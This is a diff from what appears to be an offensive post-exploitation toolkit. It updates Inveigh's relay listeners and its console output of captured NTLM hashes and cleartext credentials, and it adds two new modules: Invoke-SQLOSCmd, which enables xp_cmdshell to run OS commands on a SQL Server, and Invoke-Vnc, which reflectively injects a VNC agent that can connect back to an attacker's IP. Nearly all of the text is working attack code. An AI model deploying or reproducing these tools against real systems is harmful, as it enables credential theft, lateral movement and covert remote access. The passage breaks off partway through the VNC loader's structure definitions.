$inveigh.log_file_queue.RemoveAt(0) } while($inveigh.NTLMv1_file_queue.Count -gt 0) { $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append - $inveigh.NTLMv1_file_queue.RemoveRange(0,1) + $inveigh.NTLMv1_file_queue.RemoveAt(0) } while($inveigh.NTLMv2_file_queue.Count -gt 0) { $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append - $inveigh.NTLMv2_file_queue.RemoveRange(0,1) + $inveigh.NTLMv2_file_queue.RemoveAt(0) } while($inveigh.cleartext_file_queue.Count -gt 0) { $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append - $inveigh.cleartext_file_queue.RemoveRange(0,1) + $inveigh.cleartext_file_queue.RemoveAt(0) + } + + while($inveigh.form_input_file_queue.Count -gt 0) + { + $inveigh.form_input_file_queue[0]|Out-File $inveigh.form_input_out_file -Append + $inveigh.form_input_file_queue.RemoveAt(0) } } + if(!$inveigh.console_output -and $ConsoleQueueLimit -ge 0) + { + + while($inveigh.console_queue.Count -gt $ConsoleQueueLimit -and !$inveigh.console_output) + { + $inveigh.console_queue.RemoveAt(0) + } + + } + Start-Sleep -m 5 } } -# HTTP/HTTPS Listener Startup function +# HTTP Listener Startup Function function HTTPListener() { - $inveigh.HTTP_listener = New-Object System.Net.HttpListener - - if($inveigh.HTTP) - { - $inveigh.HTTP_listener.Prefixes.Add('http://*:80/') - } - - if($inveigh.HTTPS) - { - $inveigh.HTTP_listener.Prefixes.Add('https://*:443/') - } - - $inveigh.HTTP_listener.AuthenticationSchemes = "Anonymous" - $inveigh.HTTP_listener.Start() + $HTTPS_listener = $false + $proxy_listener = $false $HTTP_runspace = [RunspaceFactory]::CreateRunspace() $HTTP_runspace.Open() $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) $HTTP_powershell = [PowerShell]::Create() $HTTP_powershell.Runspace = $HTTP_runspace $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTP_powershell.AddScript($irkin_functions_scriptblock) > $null $HTTP_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null $HTTP_powershell.AddScript($SMB_relay_response_scriptblock) > $null $HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument( - $SMBRelayTarget).AddArgument($SMBRelayCommand).AddArgument($SMBRelayUsernames).AddArgument( - $SMBRelayAutoDisable).AddArgument($SMBRelayNetworkTimeout).AddArgument($WPADAuth) > $null + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($Command).AddArgument( + $HTTPIP).AddArgument($HTTPPort).AddArgument($HTTPResetDelay).AddArgument( + $HTTPResetDelayTimeout).AddArgument($HTTPS_listener).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($RelayAutoDisable).AddArgument( + $Service).AddArgument($SMB_version).AddArgument($Target).AddArgument($Usernames).AddArgument( + $WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null $HTTP_powershell.BeginInvoke() > $null } -# Control Relay Startup function +Start-Sleep -m 50 + +# HTTPS Listener Startup Function +function HTTPSListener() +{ + $HTTPS_listener = $true + $proxy_listener = $false + $HTTPS_runspace = [RunspaceFactory]::CreateRunspace() + $HTTPS_runspace.Open() + $HTTPS_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $HTTPS_powershell = [PowerShell]::Create() + $HTTPS_powershell.Runspace = $HTTPS_runspace + $HTTPS_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTPS_powershell.AddScript($irkin_functions_scriptblock) > $null + $HTTPS_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null + $HTTPS_powershell.AddScript($SMB_relay_response_scriptblock) > $null + $HTTPS_powershell.AddScript($SMB_relay_execute_scriptblock) > $null + $HTTPS_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null + $HTTPS_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($Command).AddArgument( + $HTTPIP).AddArgument($HTTPSPort).AddArgument($HTTPResetDelay).AddArgument( + $HTTPResetDelayTimeout).AddArgument($HTTPS_listener).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($RelayAutoDisable).AddArgument( + $Service).AddArgument($SMB_version).AddArgument($Target).AddArgument($Usernames).AddArgument( + $WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null + $HTTPS_powershell.BeginInvoke() > $null +} + +Start-Sleep -m 50 + +# Proxy Listener Startup Function +function ProxyListener() +{ + $HTTPS_listener = $false + $proxy_listener = $true + $proxy_runspace = [RunspaceFactory]::CreateRunspace() + $proxy_runspace.Open() + $proxy_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $proxy_powershell = [PowerShell]::Create() + $proxy_powershell.Runspace = $proxy_runspace + $proxy_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $proxy_powershell.AddScript($irkin_functions_scriptblock) > $null + $proxy_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null + $proxy_powershell.AddScript($SMB_relay_response_scriptblock) > $null + $proxy_powershell.AddScript($SMB_relay_execute_scriptblock) > $null + $proxy_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null + $proxy_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($Command).AddArgument( + $ProxyIP).AddArgument($ProxyPort).AddArgument($HTTPResetDelay).AddArgument( + $HTTPResetDelayTimeout).AddArgument($HTTPS_listener).AddArgument($Proxy).AddArgument( + $ProxyIgnore).AddArgument($proxy_listener).AddArgument($RelayAutoDisable).AddArgument( + $Service).AddArgument($SMB_version).AddArgument($Target).AddArgument($Usernames).AddArgument( + $WPADAuth).AddArgument($WPADAuthIgnore).AddArgument($WPADResponse) > $null + $proxy_powershell.BeginInvoke() > $null +} + +# Control Relay Startup Function function ControlRelayLoop() { $control_relay_runspace = [RunspaceFactory]::CreateRunspace() @@ -1530,101 +3858,250 @@ function ControlRelayLoop() $control_relay_powershell = [PowerShell]::Create() $control_relay_powershell.Runspace = $control_relay_runspace $control_relay_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $control_relay_powershell.AddScript($control_relay_scriptblock).AddArgument($RunTime) > $null + $control_relay_powershell.AddScript($control_relay_scriptblock).AddArgument($ConsoleQueueLimit).AddArgument( + $RelayAutoExit).AddArgument($RunTime) > $null $control_relay_powershell.BeginInvoke() > $null } # HTTP Server Start -if($inveigh.HTTP -or $inveigh.HTTPS) +if($HTTP -eq 'Y') { HTTPListener } +# HTTPS Server Start +if($HTTPS -eq 'Y') +{ + HTTPSListener +} + +# Proxy Server Start +if($Proxy -eq 'Y') +{ + ProxyListener +} + # Control Relay Loop Start -if($RunTime -or $inveigh.file_output) +if($ConsoleQueueLimit -ge 0 -or $inveigh.file_output -or $RelayAutoExit -or $RunTime) { ControlRelayLoop } -if(!$inveigh.running -and $inveigh.console_output) +# Console Output Loop +try { - :console_loop while($inveigh.relay_running -and $inveigh.console_output) + if($inveigh.console_output) { - while($inveigh.console_queue.Count -gt 0) + if($ConsoleStatus) + { + $console_status_timeout = New-TimeSpan -Minutes $ConsoleStatus + $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + :console_loop while($inveigh.relay_running -and $inveigh.console_output) { - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveRange(0,1) - } - else + while($inveigh.console_queue.Count -gt 0) { switch -wildcard ($inveigh.console_queue[0]) { - "Inveigh *exited *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - - "* written to *" + {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} { - if($inveigh.file_output) + if($inveigh.output_stream_only) { - Write-Warning $inveigh.console_queue[0] + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Warning($inveigh.console_queue[0]) } - $inveigh.console_queue.RemoveRange(0,1) + $inveigh.console_queue.RemoveAt(0) } - "* for relay *" + {$_ -like "* spoofer is disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"} { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - "*SMB relay *" - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } + if($ConsoleOutput -eq 'Y') + { - "* local administrator *" + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + } + + $inveigh.console_queue.RemoveAt(0) + + } + + {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"} { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } + + if($ConsoleOutput -ne "Low") + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + } + + $inveigh.console_queue.RemoveAt(0) + + } default { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + } + else + { + Write-Output($inveigh.console_queue[0]) + } + + $inveigh.console_queue.RemoveAt(0) } } } - } - - if($inveigh.console_input) - { - - if([Console]::KeyAvailable) + if($ConsoleStatus -and $console_status_stopwatch.Elapsed -ge $console_status_timeout) { - $inveigh.console_output = $false - BREAK console_loop + + if($inveigh.cleartext_list.Count -gt 0) + { + Write-Output("$(Get-Date -format 's') - Current unique cleartext captures:" + $inveigh.newline) + $inveigh.cleartext_list.Sort() + + foreach($unique_cleartext in $inveigh.cleartext_list) + { + if($unique_cleartext -ne $unique_cleartext_last) + { + Write-Output($unique_cleartext + $inveigh.newline) + } + + $unique_cleartext_last = $unique_cleartext + } + + Start-Sleep -m 5 + } + else + { + Write-Output("$(Get-Date -format 's') - No cleartext credentials have been captured" + $inveigh.newline) + } + + if($inveigh.NTLMv1_list.Count -gt 0) + { + Write-Output("$(Get-Date -format 's') - Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) + $inveigh.NTLMv1_list.Sort() + + foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) + { + $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) + + if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) + { + Write-Output($unique_NTLMv1 + $inveigh.newline) + } + + $unique_NTLMv1_account_last = $unique_NTLMv1_account + } + + $unique_NTLMv1_account_last = '' + Start-Sleep -m 5 + Write-Output("$(Get-Date -format 's') - Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) + + foreach($NTLMv1_username in $inveigh.NTLMv1_username_list) + { + Write-Output($NTLMv1_username + $inveigh.newline) + } + + Start-Sleep -m 5 + } + else + { + Write-Output("$(Get-Date -format 's') - No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) + } + + if($inveigh.NTLMv2_list.Count -gt 0) + { + Write-Output("$(Get-Date -format 's') - Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) + $inveigh.NTLMv2_list.Sort() + + foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) + { + $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) + + if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) + { + Write-Output($unique_NTLMv2 + $inveigh.newline) + } + + $unique_NTLMv2_account_last = $unique_NTLMv2_account + } + + $unique_NTLMv2_account_last = '' + Start-Sleep -m 5 + Write-Output("$(Get-Date -format 's') - Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) + + foreach($NTLMv2_username in $inveigh.NTLMv2_username_list) + { + Write-Output($NTLMv2_username + $inveigh.newline) + } + + } + else + { + Write-Output("$(Get-Date -format 's') - No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) + } + + $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + if($inveigh.console_input) + { + + if([Console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + } + + Start-Sleep -m 5 } - Start-Sleep -m 5 + } + +} +finally +{ + + if($Tool -eq 2) + { + $inveigh.relay_running = $false } } diff --git a/data/module_source/lateral_movement/Invoke-SQLOSCmd.ps1 b/data/module_source/lateral_movement/Invoke-SQLOSCmd.ps1 new file mode 100644 index 0000000..0f63b78 --- /dev/null +++ b/data/module_source/lateral_movement/Invoke-SQLOSCmd.ps1 @@ -0,0 +1,236 @@ +Function Get-ComputerNameFromInstance +{ + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance.')] + [string]$Instance + ) + If ($Instance){$ComputerName = $Instance.split('\')[0].split(',')[0]} + else{$ComputerName = $env:COMPUTERNAME} + Return $ComputerName +} + +Function Get-SQLConnectionObject +{ + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Dedicated Administrator Connection (DAC).')] + [Switch]$DAC, + + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut = 1 + ) + Begin + { + if($DAC){$DacConn = 'ADMIN:'}else{$DacConn = ''} + if(-not $Database){$Database = 'Master'} + } + Process + { + if(-not $Instance){$Instance = $env:COMPUTERNAME} + $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection + if($Username -and $Password){$Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut"} + else + { + $UserDomain = [Environment]::UserDomainName + $Username = [Environment]::UserName + $ConnectionectUser = "$UserDomain\$Username" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1" + } + return $Connection + } + End + { + } +} + +Function Get-SQLQuery +{ + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server query.')] + [string]$Query, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [int]$TimeOut, + + [Parameter(Mandatory = $false, + HelpMessage = 'Return error message if exists.')] + [switch]$ReturnError + ) + Begin + { + $TblQueryResults = New-Object -TypeName System.Data.DataTable + } + Process + { + if($DAC){$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database} + else{$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database} + $ConnectionString = $Connection.Connectionstring + $Instance = $ConnectionString.split(';')[0].split('=')[1] + if($Query) + { + $Connection.Open() + $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) + try { + $Results = $Command.ExecuteReader() + $TblQueryResults.Load($Results) + } catch { + #pass + } + $Connection.Close() + $Connection.Dispose() + } + else{'No query provided to Get-SQLQuery function.';Break} + } + End + { + if($ReturnError){$ErrorMessage} + else{$TblQueryResults} + } +} + +Function Invoke-SQLOSCmd +{ + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + + [Parameter(Mandatory = $true, + HelpMessage = 'OS command to be executed.')] + [String]$Command, + + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut, + + [Parameter(Mandatory = $false, + HelpMessage = 'Number of threads.')] + [int]$Threads = 1, + + [Parameter(Mandatory = $false, + HelpMessage = 'Just show the raw results without the computer or instance name.')] + [switch]$RawResults + ) + Begin + { + if(-not $Instance){$Instance = $env:COMPUTERNAME} + if($Instance){$ProvideInstance = New-Object -TypeName PSObject -Property @{Instance = $Instance}} + } + Process + { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance){$Instance = $env:COMPUTERNAME} + if($DAC){$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -DAC -TimeOut $TimeOut} + else{$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut} + + $Connection.Open() + "$Instance : Connection Success." + $DisableShowAdvancedOptions = 0 + $DisableXpCmdshell = 0 + + $Query = "SELECT '$ComputerName' as [ComputerName], + '$Instance' as [Instance], + CASE + WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No' + ELSE 'Yes' + END as IsSysadmin" + $TblSysadminStatus = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + + if($TblSysadminStatus.IsSysadmin -eq 'Yes') + { + "$Instance : You are a sysadmin." + $IsXpCmdshellEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell'" -Username $Username -Password $Password + $IsShowAdvancedEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password + } + else{"$Instance : You are not a sysadmin. This command requires sysadmin privileges.";return} + + if ($IsShowAdvancedEnabled.config_value -eq 1){"$Instance : Show Advanced Options is already enabled."} + else + { + "$Instance : Show Advanced Options is disabled." + $DisableShowAdvancedOptions = 1 + Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',1;RECONFIGURE" -Username $Username -Password $Password + $IsShowAdvancedEnabled2 = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password + if($IsShowAdvancedEnabled2.config_value -eq 1){"$Instance : Enabled Show Advanced Options."} + else{"$Instance : Enabling Show Advanced Options failed. Aborting.";return} + } + if ($IsXpCmdshellEnabled.config_value -eq 1){"$Instance : xp_cmdshell is already enabled."} + else + { + "$Instance : xp_cmdshell is disabled." + $DisableXpCmdshell = 1 + Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell',1;RECONFIGURE" -Username $Username -Password $Password + $IsXpCmdshellEnabled2 = Get-SQLQuery -Instance $Instance -Query 'sp_configure xp_cmdshell' -Username $Username -Password $Password + if($IsXpCmdshellEnabled2.config_value -eq 1){"$Instance : Enabled xp_cmdshell."} + else{"$Instance : Enabling xp_cmdshell failed. Aborting.";return} + } + "$Instance : Running command: $Command" + $Query = "EXEC master..xp_cmdshell '$Command'" + $CmdResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + "" + $CmdResults.output + if($DisableXpCmdshell -eq 1){"$Instance : Disabling xp_cmdshell";Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell',0;RECONFIGURE" -Username $Username -Password $Password} + if($DisableShowAdvancedOptions -eq 1){"$Instance : Disabling Show Advanced Options";Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',0;RECONFIGURE" -Username $Username -Password $Password} + $Connection.Close() + $Connection.Dispose() + } + End + { + } +} diff --git a/data/module_source/management/Invoke-Vnc.ps1 b/data/module_source/management/Invoke-Vnc.ps1 new file mode 100644 index 0000000..97b920d --- /dev/null +++ b/data/module_source/management/Invoke-Vnc.ps1 @@ -0,0 +1,2730 @@ +function Invoke-Vnc +{ +<# +.SYNOPSIS + + +Function: Invoke-Vnc +Author: Artem Kondratenko, Twitter: @artkond + +.DESCRIPTION + +Reflectively loads tightvnc agent into memory + +.PARAMETER IpAddress + +IP to with reverse VNC handler listening + +.PARAMETER Port + +Port to bind/connect + +.PARAMETER ConType + +Connection type: either bind or reverse + +.PARAMETER Password + +Password for VNC conenction + +.PARAMETER ComputerName + +Optional, an array of computernames to run the script on. + +.EXAMPLE + +Invoke-Vnc -ConType reverse -IpAddress backconnect_ip -Port 5500 -Password P@ssw0rd + +.EXAMPLE + +Invoke-Vnc -ConType bind -Port 5900 -Password P@ssw0rd + +.NOTES +This script was created by combining the Invoke-ReflectivePEInjection script written by Joe Bialek and the vncdll code from rapid7 metasploit repository +Find Invoke-ReflectivePEInjection at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection +Find metasploit at: http://github.com/rapid7/metasploit-framework + + +#> + +[CmdletBinding()] +Param( + [Parameter(Position = 0)] + [String[]] + $ComputerName, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $IpAddress, + + [Parameter(Position = 2, Mandatory = $true)] + [String] + $Port, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ConType, + + [Parameter(Position = 4, Mandatory = $true)] + [String] + $Password + +) + +Set-StrictMode -Version 2 + + +$RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $PEBytes64, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $PEBytes32, + + [Parameter(Position = 2, Mandatory = $false)] + [String] + $FuncReturnType, + + [Parameter(Position = 3, Mandatory = $false)] + [Int32] + $ProcId, + + [Parameter(Position = 4, Mandatory = $false)] + [String] + $ProcName, + + [Parameter(Position = 5, Mandatory = $false)] + [String] + $ExeArgs + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + 